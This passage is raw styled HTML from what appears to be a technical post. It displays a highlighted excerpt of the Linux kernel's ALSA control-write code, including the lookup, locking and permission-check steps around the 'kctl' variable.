preserve;">snd_kcontrol_volatile</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*vd;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">unsigned</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">index_offset;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">result;</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">down_write(&card->controls_rwsem);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="background-color: #fff2cc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kctl</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_find_id(card,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">&control->id);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">if</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(</span><span style="background-color: #fff2cc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kctl</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">==</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">NULL</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">up_write(&card->controls_rwsem);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">return</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">-ENOENT;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">index_offset</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_get_ioff(</span><span style="background-color: #fff2cc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kctl</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">&control->id);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">vd</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">&</span><span style="background-color: #fff2cc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kctl</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">->vd[index_offset];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">if</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(!(vd->access</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">&</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">SNDRV_CTL_ELEM_ACCESS_WRITE)</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">||</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="background-color: #fff2cc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kctl</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">->put</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">==</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">NULL</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">||</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(file</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">&&</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">vd->owner</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">&&</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">vd->owner</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">!=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">file))</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">up_write(&card->controls_rwsem);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">return</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">-EPERM;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_build_ioff(&control->id,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="background-color: #fff2cc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kctl</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">index_offset);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">result</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_power_ref_and_wait(card);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">/*</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">validate</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">input</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">values</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*/</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">...</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">if</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: 